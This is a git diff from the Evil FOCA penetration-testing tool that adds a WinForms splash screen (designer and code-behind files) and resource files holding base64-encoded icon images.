4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ + 3/8hSd//IUjf/yFI3/8gSN7/IEfe/yBH3v8fRt7/H0bd/x9G3f8fRd3/HkXd/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t + +f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn + 9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi + 8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd + 7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X + 6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS + 5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM + 4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI3/8gSN7/IEfe/yBH + 3v8fRt7/H0bd/x9G3f8fRd3/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw + /P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r + 9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl + 9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg + 8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa + 7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV + 6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ + 5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK + 4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI3/8gSN7/IEfe/yBH3v8fRt7/H0bd/x9G3f9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu + +v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp + 9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj + 8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe + 7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y + 6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT + 5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN + 4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI + 3/8gSN7/IEfe/yBH3v8fRt7/H0bd/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s + +P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln + 9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh + 8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb + 7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW + 6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR + 5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL + 4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI3/8gSN7/IEfe/yBH3v8fRt7/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv + +/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq + 9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk + 8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf + 7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z + 6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU + 5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO + 4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ + 3/8hSd//IUjf/yFI3/8gSN7/IEfe/yBH3v9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t + +f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn + 9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi + 8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd + 7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X + 6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS + 5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM + 4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI3/8gSN7/IEfe/0Fw + +/pCcfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw + /P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r + 9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl + 9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg + 8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa + 7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV + 6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ + 5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK + 4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFI3/8gR9z6QXD5w0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu + +v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp + 9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj + 8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe + 7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y + 6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT + 5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN + 4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//IUjf/yFG + 3MM/bfhNQnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s + +P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln + 9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh + 8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb + 7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW + 6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR + 5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL + 4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//HkXeTQAAAABCcPuAQnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv + +/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq + 9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk + 8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf + 7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z + 6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU + 5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO + 4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/x9J + 3oIAAAAAAAAAAAAAAAA/bfhNQXD5w0Fw+/pCcfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t + +f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn + 9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi + 8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd + 7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X + 6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS + 5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM + 4v8kTOH/I0zh/yNL4f8jS+H/I0re+iFJ3sMhSd5NAAAAAAAAAAD//////4AAAAAAAAAAAAAD//////4A + AAAAAAAAAAAAAf/////4AAAAAAAAAAAAAAD/////8AAAAAAAAAAAAAAA/////+AAAAAAAAAAAAAAAP// + ///AAAAAAAAAAAAAAAD/////gAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAP////4AAAAAAAAAAAAA + AAD////8AAAAAAAAAAAAAAAA////+AAAAAAAAAAAAAAAAP////AAAAAAAAAAAAAAAAD////gAAAAAAAA + AAAAAAAA////wAAAAAAAAAAAAAAAAP///4AAAAAAAAAAAAAAAAD///8AAAAAAAAAAAAAAAAA///+AAAA + AAAAAAAAAAAAAP///AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAA///wAAAAAAAAAAAAAAAAAP// + 4AAAAAAAAAAAAAAAAAD//8AAAAAAAAAAAAAAAAAA//+AAAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAA + AAD//gAAAAAAAAAAAAAAAAAA//wAAAAAAAAAAAAAAAAAAP/4AAAAAAAAAAAAAAAAAAD/8AAAAAAAAAAA + AAAAAAAA/+AAAAAAAAAAAAAAAAAAAP/AAAAAAAAAAAAAAAAAAAD/gAAAAAAAAAAAAAAAAAAA/wAAAAAA + AAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAD8AAAAAAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAPAA + AAAAAAAAAAAAAAAAAADgAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAAAA + AACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAA + AAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAAAAAAAAAAABw== + + + \ No newline at end of file diff --git a/EvilFoca/FormSplash.Designer.cs b/EvilFoca/FormSplash.Designer.cs new file mode 100644 index 0000000..0a7488f --- /dev/null +++ b/EvilFoca/FormSplash.Designer.cs @@ -0,0 +1,90 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class FormSplash + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormSplash)); + this.lbLoading = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // lbLoading + // + this.lbLoading.BackColor = System.Drawing.Color.Transparent; + this.lbLoading.Font = new System.Drawing.Font("Microsoft Sans Serif", 15.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lbLoading.ForeColor = System.Drawing.Color.DarkGray; + this.lbLoading.Location = new System.Drawing.Point(0, 91); + this.lbLoading.Name = "lbLoading"; + this.lbLoading.Size = new System.Drawing.Size(454, 28); + this.lbLoading.TabIndex = 1; + this.lbLoading.Text = "Loading..."; + this.lbLoading.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // FormSplash + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(0)))), ((int)(((byte)(64))))); + this.BackgroundImage = global::evilfoca.Properties.Resources.Splash; + this.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center; + this.ClientSize = new System.Drawing.Size(452, 234); + this.ControlBox = false; + this.Controls.Add(this.lbLoading); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FormSplash"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Evil FOCA"; + this.TransparencyKey = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(0)))), ((int)(((byte)(64))))); + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FormSplash_FormClosing); + this.Load += new System.EventHandler(this.FormSplash_Load); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label lbLoading; + } +} \ No newline at end of file diff --git a/EvilFoca/FormSplash.cs b/EvilFoca/FormSplash.cs new file mode 100644 index 0000000..f3d8e05 --- /dev/null +++ b/EvilFoca/FormSplash.cs @@ -0,0 +1,49 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca +{ + + public partial class FormSplash : Form + { + + public FormSplash() + { + InitializeComponent(); + } + + + private void FormSplash_FormClosing(object sender, FormClosingEventArgs e) + { + Application.DoEvents(); + } + + private void FormSplash_Load(object sender, EventArgs e) + { + lbLoading.Text = " Loading..."; + } + } +} diff --git a/EvilFoca/FormSplash.resx b/EvilFoca/FormSplash.resx new file mode 100644 index 0000000..3566a44 --- /dev/null +++ b/EvilFoca/FormSplash.resx @@ -0,0 +1,2462 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAcAEBAAAAAAIABoBAAAdgAAABgYAAAAACAAiAkAAN4EAAAgIAAAAAAgAKgQAABmDgAAMDAAAAAA + IACoJQAADh8AAEBAAAAAACAAKEIAALZEAABgYAAAAAAgAKiUAADehgAAgIAAAAAAIAAoCAEAhhsBACgA + AAAQAAAAIAAAAAEAIAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFzzWfBQ5 + 1PoSNtH/DzPP/w0wzf8KLcn/CCnB/wYnw/8DJcX/AiLE/wAgwv8HJsPwAAAAAAAAAAAAAAAAGkLZgBk/ + 1/8WPNX/FDnT/xI20f8PMsv/DCy8/woqu/8IKb//BifD/wQlxf8CIsT/ACDC/wAAAAAAAAAAIEbdgB1E + 3P8bQtr/GT/X/xY81f8UN83/Dy6x/w0rr/8MLLj/Ciq7/wgpv/8GKMP/BCXF/wIixP8kSf8HJE7hgCJK + 4P8gR97/HUTc/xtC2v8YPM//S2XN/+rq6v9BV7T/DSyz/wwsuP8KKrv/CSm//wYow/8EJcX/KFLlgCdQ + 5P8lTeL/Ikrg/yBH3v8cQdH/Fzi6/1Boyf/r6+v/SFy0/w8ur/8NLLP/DCy4/wsqu/8JKb//BijE/ytU + 6PQpU+b/J1Dk/yVN4v84WdT/TWS9/0xiuf91hsn/6+vr/3F/vP9GW7P/PlWz/w0rr/8MLLj/Cyu7/wkp + wf8tV+r+LFbo/ylT5v82XOb/5+ns/+zs7P/w8PD/8PDw/+vr6//t7e3/8PDw/+vr7f8PLar/DS2z/wws + u/8LLcb/L1rs/i5Z6v8sVuj/V3jq/+vr6/9hdLv/HTyw/1Rsxf/r6+v/Sl6r/xMwo/8SL6f/ES6r/w8v + tP8PMcf/DjHN/zJd7v4wXOz/Llnq/2CA7v/r6+v/U2iy/x07p/9Tabz/6+vr/05gp/8TLpf/Ei6b/xIw + qv8UNsb/EjbR/xA00P80YPD+M17u/zBc7P9jg/D/6+vr/+vr6//r6+v/6urq/+vr7P/q6ur/6enq/+jp + 6f9EX8b/FzzV/xU51P8SN9L/NmPy/jVi8P8zXu7/Y4Tx/+vr6/98jML/V26+/1Nqvv9AWrr/Vm7E/1Zw + 0P9XdOX/JUrb/xk/2P8XPNb/FTnU/zhm9P43ZfL/NWLw/1p88P/t7e3/hpPA/1Nosf9RZ7P/JUKo/x5A + u/8iSt7/IEfe/x1E3P8cQtr/GT/Y/xc81v87aff+Omf1/zdl8v88Z/D/197z//Dw8P/w8PD/7+/v/1Fr + xf8nT+L/JU3i/yJK4P8gR97/HkXc/xxC2v8ZP9j/PWz5/jxq9/86Z/X/N2Xy/zVi8P80YO7/Ml3s/zBa + 6v8sVuj/KVPm/ydQ5P8lTeL/Ikrg/yBH3/8eRd3/HELb/0Bu+/4+bfn/PGr3/zpn9f83ZfL/NWLw/zNe + 7v8wXOz/Llnq/yxW6P8pU+b/J1Dk/yVN4v8jSuH/IUjf/x5F3f9CcPz8QG77/j1s+f47aff+OGb0/jZj + 8v40YPD+Ml3u/i9a7P4tV+r+KlTo/ihR5v4mT+T+I0zi/iFJ4P4fR97z+AAAAOAAAADAAAAAgAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAAAYAAAAMAAAAAEA + IAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATOdIoEznVvBM4 + 0/wRNtH/EDTQ/w8yz/8NMM3/Cy7M/wosyP8IKcP/ByjC/wUnw/8DJMX/AiPE/wEhw/8AIML/ACDC/xYz + x9cAAAAAAAAAAAAAAAAAAAAAAAAAABM91DYXPtbKFjzV/xU61P8TN9L/EjbR/xA00P8OMs7/DS/J/wss + 